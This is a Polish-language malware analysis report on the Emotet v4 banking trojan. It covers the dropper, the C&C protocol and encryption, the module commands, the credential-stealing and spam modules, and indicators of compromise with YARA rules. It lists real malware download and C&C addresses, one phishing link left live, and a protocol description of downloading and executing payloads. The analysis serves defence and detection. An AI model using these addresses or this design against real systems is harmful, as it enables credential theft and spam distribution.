Analiza złośliwego oprogramowania Emotet v4

Data publikacji: 24/05/2017, Paweł Srokosz

Wstęp

Emotet jest modularnym koniem trojańskim, który po raz pierwszy został zaobserwowany w czerwcu 2014 roku przez Trend Micro. Ten rodzaj złośliwego oprogramowania jest ściśle powiązany z innymi rodzajami, takimi jak Geodo, Bugat czy Dridex, które uznawane są za warianty należące do jednej rodziny.

Zadebiutował jako zaawansowany banker – u swych początków wykorzystywany był do wykradania pieniędzy z kont zainfekowanych ofiar. Jego początkowa wersja była wymierzona w klientów niemieckich i austriackich banków. Przejmowanie kont odbywało się z użyciem techniki Man-in-the-Browser, polegającej na przejęciu kontroli nad przeglądarką i przechwytywaniu komunikacji sieciowej przez podsłuchiwanie wywołań odpowiednich funkcji systemowych.

W kolejnej wersji (v2) arsenał Emoteta został uzupełniony o automatyczne wyprowadzanie pieniędzy z kont przy pomocy systemów ATS (Automatic Transfer System) (dokładniejszy opis tej techniki można znaleźć na 20 stronie raportu CERT Polska z 2013 r.). Jest to sposób powszechnie wykorzystywany również w innych bankerach, m.in. w ISFB (Gozi) i Tinbie.

Na początku kwietnia 2017r. zaobserwowaliśmy szeroką kampanię spamową, w której były dystrybuowane fałszywe maile pochodzące rzekomo od firmy kurierskiej DHL. Maile zawierały odnośnik prowadzący do nieznanego wcześniej, nowego wariantu złośliwego oprogramowania znanego pod nazwą Emotet.

W przypadku tej kampanii, zmiany w kodzie oprogramowania, a także w sposobie komunikacji z serwerami Command&Control wskazywały, iż mamy do czynienia z Emotetem w wersji 4. Z tego względu postanowiliśmy szczegółowo przeanalizować to zagrożenie.

Dropper

Skrypt do którego prowadziły odnośniki zawarte w mailach nie był mocno zobfuskowany. Łańcuchy znaków zostały jedynie odwrócone, stąd można było bez większego trudu odczytać adresy URL, prowadzące do pliku zawierającego omawiany malware.

Adresy URL prowadzące do Emoteta:

hxxp://etherealmedia.co.uk/download6051/
hxxp://intecsoftware.com/download1577/
hxxp://danirvinphotography.com/download0303/
hxxp://brandcastersmedia.com/download6493/
hxxp://aktech.com.pl/download9674/

Moduł główny

Emotet jest złośliwym oprogramowaniem o strukturze modułowej. Podstawowym zadaniem pobieranego przez dropper pliku wykonywalnego jest rejestracja bota i pobranie modułów pełniących konkretne zadania. Złośliwe oprogramowanie dostarczane jest w postaci spakowanej przy pomocy generycznego packera, który w zamierzeniu ma zmylić silniki antywirusowe i utrudnić analizę. Po rozpakowaniu, sterowanie przekazywane jest do głównego kodu.

Na samym początku ładowane są biblioteki i rozwiązywane są adresy funkcji WinAPI, wykorzystywane przez malware m.in. do szyfrowania i komunikacji z serwerem Command&Control. Nazwy potrzebnych funkcji i bibliotek przechowywane są w postaci tablic wartości funkcji skrótu z nazwy danego elementu. Emotet wykorzystuje w tym celu prostą funkcję haszującą sdbm. Aby dodatkowo zróżnicować tablice, zawarte w nich wartości XORowane są dodatkowo ze stałą wartością określoną w pliku.

Charakterystyczne łańcuchy znaków również nie występują jawnie – są dekodowane na czas użycia przy pomocy 4-bajtowego klucza XOR skojarzonego z danym łańcuchem.

Główny plik wykonywalny zawiera również listę adresów IP i portów, kierujących do serwerów C&C. Podobnie jak w poprzednich wersjach – komunikacja z serwerem kontrolera przebiega z użyciem protokołu HTTP.

Szyfrowanie komunikacji

Największe zmiany względem poprzedniej wersji Emoteta można zaobserwować w komunikacji. Wcześniej do szyfrowania wykorzystywany był algorytm RC4. W wersji czwartej wykorzystywany jest 128-bitowy AES.

Przykładowe żądanie wygląda następująco:

GET / HTTP/1.1
Cookie: DD29=e8fd7YpIy2Ui+U7bz1/cQD9bH4KHshzaN2SpKoPEnC1D85K4Zrwdb6dBoHoDC5GgvcgecLN20kpk1lQxus6AJEiutWK4hBSWFbQUmtyr3LxI+/3MFdKn1lo7nWyEw+sCzKL6y34njzJwoDwd3I5BJD0NqUL+iEnbB1EWXQhxcXihFeFS+TlRsuMxOl3Xmyo2p0FuHX+hyGoO19dzLpEMK1LhXGkCkha+kPGFqfxECUoQndFLiMRgXAj4Omw/Ywc6Ba+9d5fyZNLEKbtkxsfO3KmQSLoE4TkITRri1kSMCqnNlb7PTroCQmoJvRHBiEGla6VzgmCQ5tsspBIuaWc2ct9hX9c4SLZbTnW6mPjLIh4VeDJ7gNpwhedyLHcnr3GWjILLwFPk7RmgHglXXI2qEOXcwbRhtaNuI8RrkMQj37Rov147wEGBtt+GlQR9/9oFXoBXH9f6m5K4ULP3CEnDGGJVEtfkgt7yZ082wAIfVzow1szvMF4bF7MFaCPbHA9hygyf9Uc8GwDjM4CndFxUwROWmEgQKjIk24PIj5Y+oz4jF
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; SLCC1; .NET CLR 1.1.4322)
Host: 206.214.220.79:8080
Connection: Keep-Alive
Cache-Control: no-cache

Treść żądania zawarta jest w nagłówku Cookie. Nazwa „ciasteczka” generowana jest losowo i stanowi 16-bitową wartość zakodowaną szesnastkowo. Wartość ciasteczka zawiera żądanie zakodowane w Base64.

Wartość po odkodowaniu ma następującą strukturę:

Offset Nazwa pola
0..95 Zaszyfrowany asymetrycznie 128-bitowy klucz AES wykorzystany do zaszyfrowania żądania
96..115 Wartość SHA1 z treści żądania w postaci jawnej
116..x Żądanie zaszyfrowane kluczem AES-128 w trybie CBC

Przed wysłaniem żądania tworzone są dwa klucze. Najpierw ładowany jest 768-bitowy klucz publiczny RSA, zawarty w pliku wykonywalnym. Następnie generowany jest losowy klucz AES-128-CBC, który posłuży do szyfrowania komunikacji z C&C. Wygenerowany klucz AES szyfrowany jest kluczem RSA-768 i dołączany jest do żądania z użyciem PKCS#1v2.0 (OAEP).

Kryptografia zrealizowana jest przy pomocy zestawu funkcji Microsoft CryptoAPI.

Generowanie i importowanie kluczy:

Szyfrowanie żądania:

Komunikacja z C&C

Po przechwyceniu i odszyfrowaniu komunikatu z żądaniem – żądanie prezentowało się następująco:

W komunikacji wykorzystywany jest protokół bazujący na Google Protocol Buffers. Protocol Buffers stanowi rozwiązanie, które pozwala na proste budowanie protokołów, przy użyciu struktur definiowanych w języku protobuf. Na podstawie tak określonych struktur, Protocol Buffers generuje moduły, dostarczające parsery i serializery dla poszczególnych elementów protokołu, które mogą być bezpośrednio wykorzystane w aplikacji. Protocol Buffers pozwala na generowanie modułów dla wielu języków programowania. Wśród wspieranych języków jest m.in. Python, Java, PHP czy C++. Zastosowanie tego typu rozwiązań nie jest nowością w przypadku złośliwego oprogramowania i było wykorzystywane wcześniej, np. w Gootkicie.

W przypadku Emoteta, autor pokusił się o małą modyfikację. Jeden z elementów wykorzystuje niestandardowe kodowanie, przez co nie jest poprawnie odczytywany przez standardowe parsery (przykładowo protoc –decode_raw zwraca błąd).

Mimo to udało nam się odtworzyć strukturę protokołu:

W żądaniu rejestracji wysyłany jest numer komendy (16) i podstawowe dane o systemie operacyjnym, na którym bot zostaje uruchomiony. Poszczególne pola struktury RegistrationRequestBody zawierają następujące informacje:

Pole botId

Pole botId zawiera identyfikator bota unikalny dla danej maszyny. Jego wartość ma następującą strukturę:

[host_name]_[locale]_[host_id]
np. CERTCERT_PL_32122958

    • host_name – zawiera wyłącznie znaki z grupy 0..9a..zA..Z-, pozostałe zastąpione są znakami zapytania (?)
    • locale – zawiera identyfikator kraju. W tym wypadku również myślnik „-” jest zastępowany „?”
    • host_id – 32-bitowa heksadecymalna wartość funkcji skrótu sdbm (tej samej, która wykorzystywana jest przez API resolver). Skrót bazuje na wartości, która jest wynikiem operacji xor na nazwie aktualnie zalogowanego użytkownika i numerze seryjnym dysku, na którym zainstalowany jest system Windows.

Pole osVersion

32-bitowe pole określające wersję systemu operacyjnego Windows. Poszczególne bity zawierają informację o następujących elementach struktury OSVERSIONINFOEX

Bity Opis pola
0..3 dwMajorVersion
4..7 dwMinorVersion
8..11 wServicePackMajor
12..15 wServicePackMinor
16..19 wProductType
20..23 SYSTEM_INFO.wProcessorArchitecture

Pole procList

Zawiera listę nazw uruchomionych procesów, oddzielonych przecinkiem.

Pole mailClient

Informacje o wykorzystywanym kliencie poczty (wartość pozyskiwana z klucza rejestru HKLM\Software\Clients\Mail). Jeśli jest to Microsoft Outlook i jego plik DLL MAPI (Messaging Application Program Interface) jest 64-bitowy, do nazwy dodawany jest przyrostek „x64” po spacji.

Odpowiedź

W odpowiedzi C&C dostarcza listę modułów złośliwego oprogramowania. Bez względu na to czy zostało wysłane poprawne żądanie, czy nie – odpowiedź zawsze zawiera status 404 Not Found. Mimo to, przy poprawnym skomunikowaniu się z serwerem, w treści otrzymujemy zaszyfrowaną odpowiedź.

HTTP/1.1 404 Not Found
Server: nginx
Content-Type: text/html; charset=UTF-8
Content-Length: 728740
Connection: keep-alive

alc:*qLud<d^G̾>...

Struktura zaszyfrowanej odpowiedzi jest podobna do struktury żądania. Do szyfrowania wykorzystywany jest klucz AES wygenerowany przez próbkę i przekazany w żądaniu. Po odszyfrowaniu, otrzymujemy komunikat o strukturze odpowiadającej następującemu plikowi protobuf:

W tym przypadku wykorzystywane jest niestandardowe kodowanie, o którym wspomnieliśmy na samym początku. Otóż pole repeated Module modules = 1 [packed=true]; jest niedozwolone w kontekście języka struktur protobuf, ponieważ atrybut packed może być zastosowany wyłącznie do typów liczbowych, a nie do obiektów typu Message.

Przenosząc to na opis odpowiadający kodowaniu wykorzystywanemu w Protocol Buffers, odpowiedź ma następującą strukturę:

Typ Nazwa Komentarz
ModuleResponse
TAG tag 0x0a
VARINT rozmiar wszystkich elementów ‚modules’
Module (dla każdego modułu)
VARINT długość elementu
TAG tag pola ‚type’ 0x08
VARINT ‚type’
TAG tag pola ‚blob’ 0x12
VARINT rozmiar pola ‚blob’
RAW zawartość ‚blob’

Warto zaobserwować, iż elementy Module są powtarzane bez poprzedzającego tagu, co jest charakterystyczne dla kodowania packed.

Pole type

Pole type definiuje typ bufora i sposób w jaki należy potraktować jego zawartość. Może przyjmować następujące wartości:

Numer komendy Opis
1 Zapisz do %TEMP% i wykonaj z parametrem -U
2 Podobnie jak ‚1’, ale bez dodatkowego parametru
3 Pobierz plik wykonywalny z URLa podanego w ‚blob’
4 Użyj wewnętrznego loadera – załaduj i wykonaj plik wykonywalny zawarty w ‚blob’
5 Deinstalacja – usuń skojarzony skrót ‚.lnk’ malware’u z folderu Autostart
inne Nie rób nic

Moduły

W poprzednich wersjach wśród modułów zawarte były elementy odpowiadające za takie funkcjonalności jak:

    • Wykradanie pieniędzy z kont bankowych (atak Man in the Browser)
    • Bot rozsyłający spam
    • Wykradanie maili i danych dostępowych do kont pocztowych
    • Moduł DDoS
    • Wykradanie historii i haseł z przeglądarki

W wersji 4 dystrybuowanej m.in. w ostatniej kampanii podszywającej się pod DHL, nie zaobserwowaliśmy modułu dość charakterystycznego dla Emoteta, czyli modułu bankowego. Zachowanie pozostałych modułów w większości pozostało jednak bez zmian. Poniżej zawarty jest opis modułów zaobserwowanych w omawianej kampanii:

Moduły wykradające dane dostępowe

Wśród zaobserwowanych modułów znajdowały się dwa, służące do wykradania haseł i danych dostępowych z przeglądarki i klienta pocztowego.
Oba moduły do swoich celów wykorzystywały oprogramowanie firmy NirSoft:

Obie aplikacje zawarte były bezpośrednio w pliku wykonywalnym modułów, zakodowane prostą operacją XOR z 32-bitowym kluczem. Po odkodowaniu i zapisaniu do %TEMP%, wykonywane były z parametrem /scomma [nazwa pliku tymczasowego], co prowadziło do zapisania wszystkich haseł do pliku w %TEMP% (nazwa generowana przez GetTempFileNameW). Następnie dane wysyłane były do serwera C&C.

Moduł spamowy

Trzeci zaobserwowany przez nas moduł, służący do rozsyłania spamu zawierającego link do Emoteta jest szczególnie interesujący. Na początku moduł prosi serwer C&C o szablon wiadomości, listę odbiorców i listę kont, z których ma być przeprowadzone rozsyłanie.
Struktura żądania wygląda następująco:

Pola flags i additionalData służą do określania, jakie dane zostały już pozyskane od kontrolera i jakich oczekujemy w odpowiedzi.
Odpowiedź serwera ma następującą strukturę:

Do poszczególnych botów wysyłane są nie tylko dane dotyczące rozsyłanych wiadomości, ale również lista danych dostępowych do kont, z których ma być przeprowadzone rozsyłanie. Konta prawdopodobnie są pozyskiwane przez moduł wykorzystujący Mail PassView, opisany wcześniej.

Przykładowy szablon wiadomości:

Hello <span style="text-transform: uppercase;">&lt;&gt;</span>

Thank you for your order. The details can be found below.

Invoice attached: <a href="http://aceeight.com/Cust-000564-17424/">http://aceeight.com/Cust-000564-17424/&lt;&gt;</a>

This e-mail was sent by <span style="text-transform: uppercase;">&lt;&gt;
&lt;&gt;</span>

Podsumowanie

Podstawową funkcją Emoteta obserwowaną w niedawnych kampaniach jest wykradanie danych dostępowych. W przypadku infekcji zalecamy przede wszystkim zmianę haseł do wykorzystywanych skrzynek mailowych z poziomu lokalnego klienta poczty, a także haseł do serwisów, które były zapisane w przeglądarce.
Emotet jest wciąż aktywny w sieci i istnieje szansa, że ten rodzaj zagrożenia pojawi się w przyszłych kampaniach.

Informacje dodatkowe

Analiza oparta jest na próbce c53956c95100c5c0ba342977f8fc44fcad35aabc24ec44cb12bb83eee1ed34fa

Lista skrótów MD5 modułów (widoczne 13 kwietnia):

0497c120248c6f00f1ac37513bd572e5
5b2d58b4104309ee9c93b455d39c7314
722268bad0d3a2e90aa148d52c60943e

Lista adresów C&C

hxxp://87.106.105.76:443
hxxp://173.255.229.121:443
hxxp://178.79.177.141:443
hxxp://79.170.95.202:7080
hxxp://206.214.220.79:8080
hxxp://88.198.50.221:8080
hxxp://5.39.84.48:8080
hxxp://188.68.58.8:7080
hxxp://162.214.11.56:7080
hxxp://5.196.73.150:8080
hxxp://203.121.145.40:7080
hxxp://46.165.212.76:7080

Klucz publiczny C&C:

-----BEGIN PUBLIC KEY-----
MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAJ16QBv5Csq0eruFy4BvTcXmmIyeqUb3
vCCc8K/zOYOpL/Ww6FCdUpvPfs+RR/sLBalwtKmT14iRUaNmJdygnAKUIRWR1HNt
0rQRir0pD4QlkXlnZ9lZazTfyMV8BLCatwIDAQAB
-----END PUBLIC KEY-----

Reguły Yara:

rule emotet4_basic: trojan
{
    meta:
        author = "psrok1/mak"
        module = "emotet"
    strings:
        $emotet4_rsa_public = { 8d ?? ?? 5? 8d ?? ?? 5? 6a 00 68 00 80 00 00 ff 35 [4] ff 35 [4] 6a 13 68 01 00 01 00 ff 15 [4] 85 }
        $emotet4_cnc_list = { 39 ?? ?5 [4] 0f 44 ?? (FF | A3)}
    condition:
        all of them
}

rule emotet4: trojan
{
    meta:
        author = "psrok1"
        module = "emotet"
    strings:
        $emotet4_x65599 = { 0f b6 ?? 8d ?? ?? 69 ?? 3f 00 01 00 4? 0? ?? 3? ?? 72 }
    condition:
        any of them and emotet4_basic
}

rule emotet4_spam : spambot
{
    meta:
        author="mak"
        module="emotet"
    strings:
        $login="LOGIN" fullword
        $startls="STARTTLS" fullword
        $mailfrom="MAIL FROM:"
    condition:
        all of them and emotet4_basic
}